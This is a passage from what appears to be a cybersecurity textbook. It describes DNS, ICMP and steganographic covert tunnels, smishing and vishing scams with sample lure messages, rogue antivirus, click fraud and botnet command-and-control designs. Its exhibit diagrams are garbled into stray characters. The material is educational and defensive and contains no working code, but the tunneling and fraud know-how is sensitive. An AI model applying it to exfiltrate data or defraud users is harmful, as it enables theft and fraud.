0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
qname
QTYPE
QCLASS
1 1 1 1 1 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
name
TYPE
CLASS
TTL
RDLENGTH
rdata
Exhibit 2-6â•… DNS messages. All communications inside of the domain protocol are carried in
a single format called a message (top); the question section is used to carry the “question” in
most queries (middle), and the answer, authority and additional sections all share the same format
(bottom).
server is generally a rogue (fake) DNS server where intermediary resolvers
eventually route the questions. Thus, this setup may require more infrastructure access than just a simple Web server does because an attacker
needs to delegate DNS authority to a rogue system. Since the communication requires that the payload be small and since latency may be high,
DNS tunnels create many packets and tend to be slow and unresponsive.
Additionally, complexity may be high because retransmission and other
delivery options, which are readily available in a TCP stream, may not
be available. Thus, authors must implement custom solutions.
As with HTTP tunnels, open source solutions and open services are
readily available on the Internet. Some of the most common software,
0
0
1
1
2
3
4
5
6
7
8
9
TYPE
0
85
2
1
2
3
4
CODE
IDENTIFIER
5
6
7
8
9
0
3
1
2
3
4
5
6
7
8
9
0
1
CHECKSUM
SEQUENCE NUMBER
data ...
Exhibit 2-7â•… Internet Control Message Protocol (ICMP) echo message.
such as NSTX,10 OzymanDNS,11 iodine,12 and heyoka,13 is well established and has been around for years. Services, such as DNStunnel.de,14
provide tunneling capabilities to those that cannot delegate authority
to an “evil” subdomain and make barriers to entry low.
2.1.2.3â•‡ ICMPâ•… ICMP is a signaling protocol for IP. It is used mostly
to deliver status and error messages when IP-based communication
errors occur or to troubleshoot and test connectivity status. Although
most enterprise policies already block outbound ICMP packets, some
Internet service provider (ISP) solutions may not, and its use as a
tunnel is mostly to bypass ISP authentication requirements or as a
simple covert channel. Most ICMP messages offer little in the way of
embedding payload, and implementation details may make it difficult
to get the messages delivered; however, ICMP echo messages, which
users and administrators alike use to test the accessibility of a host,
are well suited for tunneling. Ping, as the most common software that
implements this ICMP mechanism, sends data to a host and expects
a reply. Exhibit 2-7 is the layout of an ICMP echo message, again
showing payload areas.
As shown in the protocol illustration in Exhibit 2-4, there are
plenty of data in which to place payload for a tunnel; therefore, ICMP
offers good throughput in both directions. ICMP tunneling was one
of the earliest15 methods publicly available to transmit traffic over
a protocol in a covert way that essentially abused the protocol. The
open source community actively maintains and makes available several software packages to provide this functionality, including Ping
Tunnel,16 ICMPTX,17 Simple ICMP Tunnel,18 and Skeeve.19
2.1.2.4â•‡ Intermediaries, Steganography, and Other Conceptsâ•… Aside from
the three common tunnels discussed in the previous paragraphs, hackers can modify any protocol that filters through a firewall to behave
as a tunnel. Assuming deep-packet inspection requires that a given
8 6
protocol at least match the appropriate syntax (headers must match, no
arbitrary data, etc.), tool writers can coerce even FTP, SMTP, and the
like into becoming covert channels. All such tunnels have one thing in
common, however: it is apparent where their destinations lie.
The task of tracking down specific tunnels and at least shutting
down those that are readily apparent is a quick step: identify the destination and block it. This task can become much more difficult with
advanced implementations such as intermediary hosts, however. For
example, it is possible to create an HTTP tunnel that does not just
connect directly to its destination, but rather drops a payload onto
some public or common service (forums, comments on blogs, image
hosts, etc.)—services that may have legitimate uses. Once the payload
arrives at the intermediate service, the destination side of the tunnel
picks it up and delivers a reply—all without ever revealing the malicious origin to the exfiltrated network. Recently, researchers discovered such a scheme on Twitter.20
The intermediary problem can be even more complex. Steganography
is the practice of hiding messages and data in content that is not readily apparent and is a form of security through obscurity. For example,
steganographic software and tools can encode messages and data into
images21 so that only users who know where the data exists can retrieve
it. Tunnels that use intermediaries for data exchange can deposit payloads that are steganographically encoded to make it harder to detect
the covert communication. The Twitter example would have been
much more difficult to identify if the payload had been English text
with common misspellings, another potential form of steganography.
Payload is not even required with such tools. For example, the timing of HTTP requests to some arbitrary Web server, where a recipient can observe the request rate, can be a form of communication in
and of itself, without the need to embed the payload. Similarly, timed
communication can be accomplished using lower-level protocols, such
as raw IP packets.
2.1.2.5â•‡ Detection and Preventionâ•… The potential of covertly extending a
network to the outside world is a clearly unacceptable risk. While the
firewalls and IDS that are in place today have their roles to play, they
may not be able to identify or prevent tunneling. Tunnels abuse protocols in a way that matches the syntax or the rules of the specifications
87
but not the intent, so despite the efforts of vendors using static signatures
for detection—for example, iodine signatures available for Snort—it is
trivial to “hack” tunnels to foil the current crop of defenses. Attackers
can easily modify open-source tools to appear slightly different from
the original, thus defeating a static rule. Any protocol can quickly
become a tunnel harbor. Packet inspection firewall rules and IDSs
can go only so far in identifying and blocking the threats. Tunnels do
have a weakness. They almost never adhere to historical or trended
traffic patterns. While HTTP normally has small transfers outbound
with larger transfers inbound, tunneling may cause this to reverse or
become nearly equal. The duration of connections may also buck the
trend, as tunnels need things like keep-alive messages and timeouts.
In the case of DNS tunnels, the amount of requests per client, or a set
of clients, or even across the enterprise may jump significantly.22 In the
case of ICMP, packet sizes may not match the expected norms, and
with any other tunnels, the ratios of different protocols, frequency, and
volume can all be indicators of anomalies. These markers point to the
need for traffic analysis. Using net flows and other packet capture and
aggregation tools, it becomes a statistical problem to map enterprise
network trends and identify anomalies. While the crop of commercial
tools is limited, several open source solutions are available to begin the
process of at least watching and understanding what is going on in
the network. Tools like SilK 23 and Sguil 24 can become the gateway to
better understanding. They can provide a foundation for trending the
network and baselining behavior. Although it may be a labor-intensive
process, using it is better than not knowing.
Now may be the time to start thinking about what may lurk in the
shadows of networks. Covert exfiltration of information through tunnels is bound to increase as the tools to detect existing software and
controls of existing methods become stronger. Broad-based dynamic
analytics need to be part of any network user’s strategy to ensure identification of the not-so-obvious threats that may be emerging.
2.2â•‡ Fraud Techniques
2.2.1â•‡ Phishing, Smishing, Vishing, and Mobile Malicious Code
Many phishing attacks against mobile devices use short message
service (SMS, or smishing) and voice-over Internet protocol (VoIP,
8 8
or vishing) to distribute lures and collect personal information.
Attackers often send fraudulent SMS messages containing a URL or
phone number using traditional phishing themes. Responders either
enter their personal information into a fraudulent website, as with
traditional e-mail phishing, or, if calling phone numbers, may even
provide their information directly to other people. To limit exposure
to these growing threats, organizations should not send contact information to users via SMS but instead should be sure phone numbers
are readily available on their websites. In addition, financial institutions should carefully consider using mobile devices as two-factor
authentication devices, given that customers may use the same mobile
device to access the online banking system.
Phishing by way of mobile phones introduces new challenges for
attackers and administrators alike. Many phishing attacks against
mobile devices use SMS (smishing) and VoIP (vishing). Attackers
often send fraudulent SMS messages to many users attempting to
gain private information or distribute malicious files. The messages
include a URL or a phone number with themes similar to those of
traditional phishing messages. Upon calling a phone number, the user
may interact with an actual person or a voicemail system—both of
which are risks to the user’s personal information.
Many legitimate services suffer from doubt and uncertainty related
to sending legitimate SMS messages. Organizations should avoid
repeating mistakes made with e-mail, which for many organizations
is no longer a viable means of communicating with customers due to
the pervasiveness of phishing and other fraud.
2.2.1.1â•‡ Mobile Malicious Codeâ•… Although rare and only a more
recent occurrence, SMS messages sent to mobile devices may also
attempt to convince users to install a mobile malicious code. On or
before February 4, 2009, Chinese mobile phone users began reporting a new virus that affects Symbian S60.25 A signature is required
on all code that runs on the S60 third edition, and this virus is no
exception; it uses a certificate from Symbian licensed to “ShenZhen
ChenGuangWuXian.” After the user installs the program, it spreads
to other users by sending SMS messages that contain URLs, such as
the following, for users to download and install the code:
89
• hxxp://www.wwqx-mot.com/game
• hxxp://www.wwqx-cyw.com/game
• hxxp://www.wwqx-sun.com/game
The “Sexy View” virus attempts to convince recipients to download
and install a Symbian Installation file (SISX) at the URL, but it does
not use any exploits to install automatically. Details on this virus are
publicly available.26
2.2.1.2â•‡ Phishing against Mobile Devicesâ•… Most instances of SMS
phishing (smishing) target banks or financial institutions by sending
a phone number that the victim calls after receiving the message,
resulting in a vishing attack (see Exhibit 2-8).
In the past, attackers used vishing against random targets and were
successful at evading defensive filters. For instance, actors have used
SMS gateways that allow users to send e-mails instead of spending
money per SMS message. In this way, actors send messages to all possible SMS recipients for a gateway. As an example, the SMS gateway
receives e-mail messages sent to the phone number 111-222-3333 at
the e-mail address [email protected]. SMS
gateway providers have responded to abuse by rejecting excessive numbers of messages or fraudulent messages. This is dependent upon the
cooperation of the Internet service providers (ISPs) themselves, rather
than defensive tools on a mobile device. Uncooperative or unwilling
ISPs could cause this type of filtering to fail.
There are several common themes in smishing messages. The following examples all include phone numbers for victims to call. The
messages may originate from either a phone number or an e-mail
address, both of which an attacker can spoof.
Attacker Sends
Fraudulent SMS
With Phone Number
Attacker
User Calls VoIP Number
Victim
Collects Private
Information
Exhibit 2-8â•… Example flow of a smishing or vishing attack to steal private information.
9 0
ApplicationCenter/This is an automated message from Lafayette F.C.U.
.Your ATM card has been suspended. To reactivate call urgent at 1-567248-859427
From: Jennifer [@] fortheloveofmarketing.com
Your Treasury Department FCU account is expired, for renewal please
call us toll free 818.462.5049
jAPANESS MOTORS AUTO AFRIC, You have won a Brand new
Toyota landcruiser VX, in our annual draw. Call Mr. Peter Aganyanya
through this No. +254727925287.28
Announcement from PETRONAS MLSY. CONGRATULATIONS
your phone number has won a prize of RM 11000. (About US$3,200)
Please contact the following number at 0062858853982xx tomorrow
morning at 8.00am. Thank you
Official Microsoft ANNOUNCEMENT: Congratulations! Your mobile
phone has won US$ 10 Million prize money. To claim your money, call
this number XXXXXXXX tomorrow at 8 AM. Thank you.29
Many of these systems use voicemail systems to steal user information, including bank account information. There have been attacks
where vishers answer the phones themselves. F-Secure documented
one such incident regarding the 0062858853982xx phone number
with a transcript and audio files.30 Similar to traditional phishing
attacks, smishing and vishing attacks frequently use fake rewards and
fake account alerts.
In January 2008, the Facebook application Secret Crush began
phishing users by requesting their mobile phone number through
the social-networking website. Subsequently, it would send them
messages from a premium SMS service that costs $6.60 per message according to one user afflicted by the scam. Users that reply to
the premium rate number (19944989) would receive the bill to their
mobile phone.31
Whocallsme.com is a resource where users frequently report issues
related to phone numbers. Users often report SMS scams, banking
fraud, and other incidents to this website based upon the originating
phone number. A few examples include
91
Dear Credit union customer, we regret to inform you that we had to
lock your bank account access. Call (647) 827-2796 to restore your bank
account.
!!Urgent! Your number has been selected for a $5000 prize guaranteed!
To claim your prize call +423697497459
Organizations should monitor their own SMS number services via
sites like whocallsme.com to see if users are suspicious of their services. Such suspicions could indicate mistrust in the legitimate service
or attackers who are spoofing the number of the affected organization
to improve their chances of gaining trust.
Smishing and vishing are serious problems. Antiphishing products
are designed to filter e-mails, but mobile phishing is more difficult
to filter for both users and automatic products. SMS messages contain much less tracking information; therefore, recipients will not be
able to determine from where they originate. Mobile phone browsers and SMS programs also lack integrated phishing defenses built
into today’s e-mail clients and browsers. Smishers also often spoof the
source address and use a large number of different phone numbers to
perform vishing. Mobile browsers also make it difficult to determine
the legitimacy of a URL. The small-form factor and limited display
are incapable of displaying full URLs, and it can take as many as
ten clicks to access the security information of a site. Most mobile
browsers lack support for protections normally available on desktop
systems such as URL filtering, phishing toolbars, and extended validation (EV) SSL certificates. Based upon these concerns, it seems
likely that users of mobile devices have an increased risk of falling
victim to a phishing attack when they surf with mobile browsers or
receive fraudulent SMS messages.
2.2.1.3â•‡ Conclusionsâ•… To combat the uncertainty caused by smishing
and vishing, organizations that plan to contact users via SMS should
not encourage users to depend upon caller ID, phone numbers, or the
contents of a message. To limit exposure to these problems, organizations should clearly advertise their legitimate SMS numbers via their
website and avoid sending phone or SMS contact numbers within
messages whenever they contact users.
9 2
Concerning mobile phishing threats, financial institutions should
take great care to educate their customers regarding how they plan
to offer services and communicate via mobile devices. Additionally,
customers should avoid accessing online banking through mobile
devices until the platforms implement stronger antiphishing measures
that are on par with desktop solutions. Some institutions choose to
implement custom applications for mobile access to online banking,
which may mitigate this threat when consumers use that as the sole
mobile access method. Finally, financial institutions should carefully
consider using mobile devices as two-factor authentication devices,
given that customers may use the same mobile device to access the
online banking system.
2.2.2â•‡ Rogue Antivirus
During the past year, fake antivirus programs have become dramatically more prevalent and are now a major threat to enterprises and
home users. Moreover, attackers often bundle this software with
stealthier malicious programs. Fortunately, in attackers’ attempts to
get users’ attention, rogue antivirus software also alerts administrators to system compromises and inadvertently exposes other malicious software.
Attackers aggressively target users with Trojan applications that
claim to be antivirus programs. These rogue antivirus applications,
once installed, falsely report security issues to mislead victims into
purchasing a purported “full” version, which can cost each victim
up to US$89.95. Victims have had little success when contacting the
payment providers for refund and removal.32 PandaSecurity estimates
that rogue antivirus applications infect approximately 35 million computers each month and that cyber criminals earn US$34 million each
month through rogue software attacks.33
“Antivirus XP” and numerous other rogue security applications
are some of the most prevalent pieces of malicious code that have
appeared in the first half of 2009 (see Exhibit 2-9). According to Luis
Corrons of PandaLabs, his company observed a significant growth in
rogue antivirus applications from January to June 2009, the highest
being in June 2009 with 152,197 samples.34
93
200000
150000
100000
50000
0
Jan
Feb
Mar
Apr
May
Jun
Exhibit 2-9â•… Rogue antivirus programs in 2009. Source: http://www.antiphishing.org/reports/
apwg_report_h1_2009.pdf.35
One possible reason for the increase is that pay-per-install and
affiliate programs encourage more attackers to install such software.
According to some pay-per-install rogue antivirus sites, affiliate programs offer an attacker approximately half of the purchase price for
each victim who buys the software.36 This encourages a diverse group
of attackers to distribute the software. Though rogue antivirus software emerged in 2004, iDefense has observed a huge increase in this
type of malicious activity between 2007 and 2010.
Although the main goal of the Antivirus XP 2008 program (see
Exhibit 2-10) is to convince users to purchase fake software, attackers who bundle it with other malicious programs are a major concern
to enterprises. The noisy nature of rogue antivirus programs can be
beneficial to organizations who take appropriate actions to remove
dangerous software that attackers bundle with it. Since the rogue
antivirus application often changes a user’s background, displays popup windows, modifies search behavior, and displays fake windows and
security center messages, it often makes its presence repeatedly visible
to users. This can be a benefit, if system administrators aggressively
audit infected computers for other malicious programs with which it
is bundled. iDefense has observed attackers distributing rogue antivirus applications in conjunction with rootkits, banking Trojans, e-mail
viruses, or other information-stealing Trojans. These include, but are
not limited to, Zeus and Torpig.
Attackers that install rogue antivirus applications often use socialengineering techniques to trick victims. To spread, some variants are
9 4
Exhibit 2-10â•… Fake antivirus application displays false threats.
bundled with mass-mailing capabilities to send URL links or attachments through e-mail messages. Others attempt to perform search
engine poisoning, either through sponsored links or by promoting
their search terms associated with recent events. To update their websites with the most common search terms, actors performing search
engine poisoning bundle their rogue antivirus applications with other
programs that monitor and collect user search terms. Some instances
of social-engineering attacks use fake Adobe Flash codecs or other
themes to trick victims.
Many other examples of rogue antivirus applications install by
using Web exploit kits. Web exploit kit operators may choose to
install rogue antivirus applications to make money, or they may allow
third-party groups to purchase installs. In either case, the operator
may install multiple different malicious programs.
The business model around rogue security applications encourages
third parties to distribute code and participate in the revenue stream.
As a result, there are a variety of different attacks that install rogue
antivirus applications. No single group is responsible for distributing
the software because of the shared profits. The use of the pay-perinstall model is a strong motivator for attackers who wish to make
money from installing software. The huge success of this model of
95
separation between deployment and exploitation is similar to other
successful business models like fast-flux and other pay-per-install networks. This type of model will guarantee increased activity and new
actors in the near future.
Due to its shared benefit, many attackers can make additional revenue from installing rogue antivirus applications. These applications
do not require attackers to alter existing behavior, and they can install
multiple different programs at the same time. Due to the frequent
bundling of rogue antivirus applications with other malicious programs, organizations should evaluate whether the attacker installed
any other malicious code.
2.2.2.1â•‡ Following the Money: Paymentsâ•… Most of the rogue antivirus
incidents that iDefense investigated use third-party payment organizations. These organizations accept credit card payments and create
a layer of protection and security for attackers who use them. These
payment processors typically use legitimate SSL certificates and claim
to handle fraud requests and operate on a permanent 24/7 basis. The
payment processors’ connection with rogue antivirus vendors is not
exclusive; therefore, law enforcement cannot always shut them down
immediately. In past instances, iDefense reported the abuse to the
appropriate certificate authorities. Afterward, authorities were able to
take the payment processors offline.
In many instances that iDefense investigated, several similar payment providers exist on the same IP address. The payment providers
are highly suspicious because they use multiple registration names,
domains, and contact addresses and countries, despite their singular
purpose to accept money for rogue antivirus payments.
Several of the payment provider sites do not list a phone number
unless replying to an authorized customer. They also list in their terms
of service that they avoid taking responsibility for customer content.
2.2.2.2â•‡ Conclusionâ•… A large variety of attacks that install rogue anti-
virus applications exists. Many use social engineering because it seems
somewhat more likely that attackers will be able to convince a victim
of social engineering to pay for rogue antivirus software. However,
attackers install it using a variety of other techniques and themes due
to the pay-per-install model. Organizations that fall victim to rogue
9 6
antivirus software should evaluate infected computers for bundled
software that often accompanies the malicious programs and that may
go unnoticed by victims who attempt to disinfect their computers.
iDefense expects to see continued growth in volume and innovation in the illegal distribution of rogue security applications. The
number of methods used to distribute the software will continue to
expand and the number of techniques used to scare users into buying
the software will increase, possibly including regional variations in
different languages. Shutting down payment processors is marginally successful over long periods, indicating the illegitimate nature of
those connected with rogue antivirus applications. Customers who
are suspicious of third-party payment providers may attempt to view
secure sockets layer (SSL) certificate registration dates or domain
registration dates to determine how new the payment provider is and
whether they can expect them to faithfully handle their payments.
2.2.3â•‡ Click Fraud
Having provided revenue for a substantial portion of online activity,
advertising on the Web has largely been a success for advertisers and
online companies. Not surprisingly, fraudsters abuse ad networks by
generating invalid traffic for profit, competitive advantage, or even
retribution. Advertisers complaining about charges for false traffic
have made combating click fraud a major issue for online advertisers.
As with most “free” content in other media, advertising funds much
of the World Wide Web; however, unlike the world of television and
print ads, it is very easy to become an ad publisher on the Internet.
The Web is interactive and allows advertisers to know exactly how
many potential customers viewed an ad and how many clicked the ad.
This knowledge leads to an advertising model known as pay-per-click
(PPC), in which advertisers pay ad publishers each time a potential
customer clicks an ad on the publisher’s website. This direct relationship between the number of clicks and the amount of money earned
by the publisher has resulted in a form of fraud best known as click
fraud. Anchor Intelligence reports that in the second quarter of 2009,
22.9 percent of ad clicks are attempts at click fraud.37 In this section,
we will look at how criminals make money through click fraud and
97
how compromised computers make preventing this type of activity
very difficult.
2.2.3.1â•‡ Pay-per-Clickâ•… Any advertising transaction has three primary
parties: the advertiser, the publisher, and the viewer. The advertiser is
a company that produces content it would like to display to potential
customers. This content is an advertisement for a specific product or
service that is likely to generate revenue for the advertiser. The publisher is a creative outlet that produces content that will draw visitors
to its medium. These visitors view the ad and, ideally, purchase the
advertised product or service. The advertiser pays a fee for a specific
number of “impressions,” which is the estimated number of times a
viewer will see the ad. This model is essentially the same across all
forms of media, including print, radio, and television.
PPC uses the same general model as other forms of advertising, but
introduces an interactive component. While an especially impressive
car commercial may entice a television viewer into purchasing a new
sedan, it is difficult for the advertiser to link a particular ad directly
to that sale. The Internet makes this possible because when a viewer
finds an ad compelling, he or she can click it to get more information or purchase the product. If, and only if, the viewer clicks on the
ad, the advertiser will pay the publisher a fee. The direct correlation
between the viewer’s action and the cost to the advertiser is the primary distinction between PPC and impression-based advertising.
The ultimate goal for the advertiser is to convert ad clicks to actions
that generate more revenue than the advertising campaign costs. When
the viewer takes the desired action, be it signing up for a newsletter
or purchasing a new car, a conversion has occurred. This conversion
completes the PPC business model. Exhibit 2-11 shows how money
flows in this business model.
With the advent of PPC advertising networks like Google
AdWords and Yahoo! Search Marketing, anybody with a website can
become an ad publisher. Publishers who use these networks are affiliates. Affiliates add HTML code to their website, which draws ads
from the advertising network and displays them inline with the affiliate’s content. The affiliate and the advertising network then split the
PPC fee each time a viewer clicks an ad.
9 8
PPC Payment
$
4
Ad Content
$
1
$
Publisher
Advertiser
Publisher’s Blog
$
$
Click
3
5
Impression
?
Conversion
$$$
2
Viewer
Exhibit 2-11â•… Pay-per-click business model.
2.2.3.2â•‡ Click Fraud Motivationsâ•… Click fraud occurs when an ad net-
work charges an advertiser for a click when there was no opportunity
for a legitimate conversion. There are many possible motivations for a
person to click an advertisement without any intention to purchase a
product or service. Publishers perform the most obvious and common
form of click fraud. Clicking an ad on one’s own website directly generates revenue for the publisher. Clicking the ad fifty times generates
even more revenue.
While a publisher can click his or her own ad, he or she could just
as easily ask friends to click the ads. For instance, a blogger who wants
to increase revenue might make a post simply asking his or her readers to click every ad on his or her website each time they visit. While
they are legitimate users, these clicks will not result in a conversion
for the advertiser.
An advertiser’s competitor might also be inclined to commit click
fraud. If each click costs the Acme Corp. money, Acme’s chief rival
might click the ad a few hundred times a day to cost them as much
money as possible. In this case, the publisher benefits from the fraudulent clicks, but the motivation is merely to harm the advertiser.
99
Competing publishers might also be motivated to commit click
fraud. Because click fraud has become such a widespread problem,
most advertising networks work very hard to detect it and will ban
affiliates suspected of committing click fraud. A competing publisher
can click ads on a competitor’s website to frame them for click fraud.
Once detected, the ad network may ban the competitor, which will
result in an increased share of the advertising revenue for the actual
click fraudster.
Nonfinancial motivations might also cause a person to commit click
fraud. If a person disagrees with how Acme Corp. treats its workers,
they might click Acme ads to cost the company additional money.
As in the case of clicks from a competitor, the intent is to harm the
advertisers, but the outcome also benefits the publisher.
2.2.3.3â•‡ Click Fraud Tactics and Detectionâ•… The simplest form of click
fraud involves manually clicking advertisements through the browser.
While this method is effective at generating a small number of additional clicks, fraudsters have developed sophisticated methods to produce the volume necessary to earn higher revenue.
First, the fraudster must create a website that displays advertisements. A popular way to do this is to create a search engine that only
displays advertisements relevant to a queried word. One such search
page uses a very unlikely typo of google.com, gooooooooogle.com. The
top portion of Exhibit 2-12 shows the results returned when searching
this page for “puppies,” and the bottom portion shows advertisements
displayed on Google’s search page when querying for the same word.
All of the results returned by gooooooooogle.com are actually
advertisements, and many of them are the same ads returned by a
Google search for the same term. A portion of the fee that advertisers
pay for each click will go to the owners of gooooooooogle.com.
With the advertisements in place, the fraudster must now find a way
to click as many of the ads as possible without the ad network noticing
the abuse. Botnets, the Swiss Army knife of the modern Internet miscreant, are the key to a successful click fraud campaign. As the click
fraud problem grew, ad networks began developing fraud detection
mechanisms that made simple click fraud impossible. For instance,
when a single IP address registers multiple clicks in a 30-minute
period, the ad network may simply discard all but the first click when
10 0 Cy ber Se c urit y E s senti a l sï»¿
Figure 2.12â•… gooooooooogle.com search results for “puppies” (top) and Google search ads for the
same word (bottom) result in many of the same ads.
101
charging the advertisers. Ad networks can also use browser cookies
to determine when the same user is clicking an ad multiple times.
Botnets solve these problems for the fraudster because each infected
computer has a different IP address and a different browser. In 2006,
Google discovered the Clickbot.A botnet, a click fraud botnet consisting of more than 100,000 nodes.38
While the distributed nature of botnets benefits click fraud, it can
also be a detriment. Advertisers display many ads only in countries or
regions in which their ads are relevant. For instance, a U.S.-based restaurant chain may not want to advertise to viewers in China or Russia.
Clicks emanating from IP addresses in countries that should not see
the ads might indicate click fraud.
Behavior patterns after the fraudster clicks an ad are another way
in which ad networks and advertisers can detect potential click fraud.
In the PPC industry, an ad click that does not result in any additional clicks on the website is a bounce, and the percentage of visitors who exhibit that behavior is the bounce rate. While a poor-quality
website might have a high bounce rate because visitors do not find it
interesting, if clicks from a particular publisher have a much higher
bounce rate than others, it may indicate click fraud.
A click fraud botnet can generate clicks in multiple ways. The botnet may simply download a list of key words and visit a random ad
returned by the query for each word. Another technique is to redirect
actual searches made by the infected system. When an infected user
makes a query to a search engine, the malicious software will alter
the results returned so that clicking them results in an ad click controlled by the fraudster. This technique may be more effective at evading detection because real users may actually click additional links on
the page and potentially even purchase products.
2.2.3.4â•‡ Conclusionsâ•… While click fraud appears to be a problem with
a scope limited to just advertisers and ad networks, fraudsters’ use of
infected computers to click ad links makes click fraud a problem for
everyone with a computer. Being part of a click fraud botnet consumes a system’s bandwidth and displays additional advertisements to
the user, which is usually undesirable.
Companies should be cautious when spending advertising money
on the Internet and should check which techniques their publishers
10 2 Cy ber Se c urit y E s sen tia l sï»¿
use to detect and prevent click fraud. Organizations that already
advertise on the Internet and are concerned that they may be victims
of click fraud can use the techniques described in this section to detect
some forms of click fraud. Companies such as Click Forensics39 and
Anchor Intelligence40 provide third-party solutions to assist in discovering and weeding out invalid ad clicks.
2.3â•‡ Threat Infrastructure
2.3.1â•‡ Botnets
Systems connected to the Internet are at risk of infection from
exposure to social-engineering attacks or vulnerability exploitation.
Regardless of the infection vector, compromised machines can wait
for commands from the attacker, which turns the system into a bot.
A bot is a single node added to a network of other infected systems
called a botnet.
A botnet is a network of infected systems controlled by an administrator known as a botmaster. A botmaster controls many bots by issuing
commands throughout the botnet infrastructure. The ability to run commands on many systems makes botnets practical for malware authors
seeking a management solution and provides multiple capabilities.
Botnets would not be capable of performing any activities without
communication between the botmaster and bots. The type of communication protocol depends on the network topology of the botnet.
While botnets use many different topologies, all botnets fall into two
main categories, centralized and decentralized; however, some botnets
implement elements from both categories to create a hybrid structure.
A centralized topology receives its name due to the central location of the command-and-control (C&C) server(s). The most basic
form of this topology uses a server to C&C all bots within the botnet; however, other more advanced forms of centralized networks
exist and fall into two subcategories to describe the differences in
infrastructure. Exhibit 2-13 shows the infrastructures of the different centralized botnets.
A multiserver builds on the basic centralized botnet topology by
using more than one server for C&C. Multiple C&C servers make
botnets more reliable and less vulnerable to takedown attempts. This
Basic
Botmaster
Multi-server
Botmaster
C&C
Bot
Hierarchical
Botmaster
C&C
Bot
Bot
C&C
Bot
Bot
10 3
Bot
C&C
Proxy
Proxy
Bot
Bot
Bot
Exhibit 2-13â•… Centralized botnet infrastructures.
type of topology allows bots to receive commands even if one server
is unreachable. If a server goes offline, the botmaster can still communicate with bots through other C&C servers. The Asprox botnet
was an example of this type of botnet as it issued a configuration file
to each bot that included a list of C&C servers.
Another type of centralized topology uses a hierarchical infrastructure. This type of topology builds on the multiserver technique by
using layers of servers to proxy communications between the bots and
C&C servers. This setup promotes reliability and longevity within
the botnet, as the proxying servers cover the true location of the C&C
servers. Drawbacks to this configuration include increased infrastructure complexity and higher network communication latency due to
the addition of the intermediary proxies. An example of a hierarchical botnet is Waledac, which has its bots communicate directly with
repeater nodes that act as proxies. The repeater nodes proxy requests
to another layer known as transport security layer (TSL) servers (the
name derives from a registry key added to infected systems) that act as
C&C servers. If the TSL server cannot handle the request, it passes
the request upward to the final layer of C&C known as upper-tier
servers (UTSs).41 This exemplifies the layered structure of a hierarchical botnet.
Regardless of the type of centralized topology, nodes within the
botnet need to locate the C&C server before receiving commands.
Most bots do not listen on ports for commands from the botmaster
because administrators can easily detect these unknown listening
ports and network devices could block inbound connection attempts.
Instead, bots will initiate communication with the C&C server to
appear legitimate and bypass network controls.
To allow bots to locate the C&C server, centralized botnets can
use hardcoded IP addresses. Hardcoded IPs supplied with the malware inform the bot of the server’s address immediately after infection; however, this method suffers if the server is unreachable or taken
down, which renders the bot useless.
Most botnets rely on the domain name system (DNS) and domain
name lookups for bots to locate the C&C server. To use the DNS, a
bot queries its name server for the IP addresses that resolve the domain
name of the C&C server. The DNS allows the botmaster to introduce reliability and resiliency for a server takedown by using multiple
IP addresses or fast-flux to resolve domain names. A botmaster can
increase the reliability of a bot locating the server by using multiple
IP addresses to resolve the domain name. This allows bots to reach a
C&C server in the event that some IP addresses are unreachable.
To increase resiliency to server takedown attempts, a botnet can use
fast-flux to cycle IP addresses that resolve a domain name as described
in the “State of the Hack” article on fast-flux.42 The use of fast-flux
domains thwarts server takedown attempts, but is still vulnerable to
domain takedown attempts. Several botnets, such as Conficker and
Kraken, address this issue by introducing a domain generation algorithm. In essence, bots generate a list of possible domains to use in
locating the C&C server, and the botmaster registers new domains
based on this list. This technique thwarts domain takedown efforts, as
the domain used by the C&C server constantly changes.
The second botnet category, called decentralized, differs dramatically from a centralized configuration. A decentralized botnet does
not have a particular server or set of servers designated to control
bots. These advanced botnets use peer-to-peer (P2P) communications to send commands between bots throughout the botnet. With
no centralized location, this type of botnet does not use the same
techniques to locate commands as centralized botnets. A bot must
locate other peers within the botnet to receive commands by using
the P2P protocol’s peer discovery mechanisms. This type of botnet is very difficult to dismantle without disinfecting each bot but
10 5
Bot
Bot
Bot
Bot
Bot
Bot
Bot
Bot
Exhibit 2-14â•… Decentralized botnet architecture.
introduces complexity and latency before all bots receive commands.
Exhibit 2-14 shows a decentralized botnet and exemplifies the complexity and number of communication paths that introduce command
latency. For example, a version of the Conficker worm incorporated
P2P communications for C&C. Bots would scan the entire Internet
for other peers and attempt to share updated binaries with each other
based on version number.43
Communication within a botnet is crucial, and many botnets use
Internet Relay Chat (IRC) as a rally point to manage infected machines.
Typically, IRC botnets allow a botmaster to issue commands to bots
connected to an IRC channel. For example, the IRC botnet known
as SDBot used NOTICE, TOPIC, or private message (PRIVMSG)
commands to control infected machines in an IRC channel.44 In most
network environments, the occurrence of IRC activity is anomalous
because they rarely experience legitimate IRC traffic.
Other botnets employ common protocols, such as HTTP, for communication. By using common protocols, botnet communications can
slide under the radar and blend in with legitimate traffic on a network.
If the botnet uses HTTP for communication, the bot makes GET
or POST requests to a server and the server replies with commands.
In some cases, the botnet uses a compromised Web server for C&C
by issuing commands within HTML comments. This further legitimizes the appearance of botnet communications.
In other cases, a botnet uses a custom protocol for communication. Botnets with a decentralized topology generally adapt a P2P
protocol to fit their needs. The Storm botnet used a variant of a P2P
protocol called Kademlia. Storm used this modified version, known
as Overnet, to discover other peers within the botnet and share commands introduced by the botmaster with other peers.45 Other botnets
use the port of legitimate services such as HTTPS but provide their
own communication schemes to circumvent firewalls.
Botnets are very capable at performing malicious deeds for a prolonged period. The most obvious capability available through the control of a large number of infected systems is the capability to carry out
distributed denial of service (DDoS) attacks. The botmaster can issue
a command to have bots repeatedly send requests to a server or network. With enough bots and enough requests, the botnet can create a
denial of service (DoS) condition for the targeted server or network as
discussed in the “State of the Hack” article on DoS conditions.46
Botmasters can also use their bots to send spam e-mail messages.
According to recent research, botnets account for 87.9 percent of all
spam sent on the Internet.47 A botnet can achieve these numbers by
having each bot send e-mails at a rapid rate, which can result in millions or billions of e-mails per day. Spam from these systems is difficult to block due to the number of unique systems and the constant
addition of new systems.
In addition to using bots to send spam, botmasters can steal sensitive information and credentials from the infected systems within the
botnet. The botmaster can use sensitive information for identity theft
or to generate revenue by selling the data on the underground market.
Stolen credentials allow the botmaster to access user accounts, such as
online banking, social-networking, and e-mail accounts, which can
lead to online banking fraud or sensitive information theft.
Botnets also provide a vast resource for hosting by using each bot
as a server. Botmasters use their botnet as a content delivery network
(CDN) to host phishing pages and malware on infected systems to
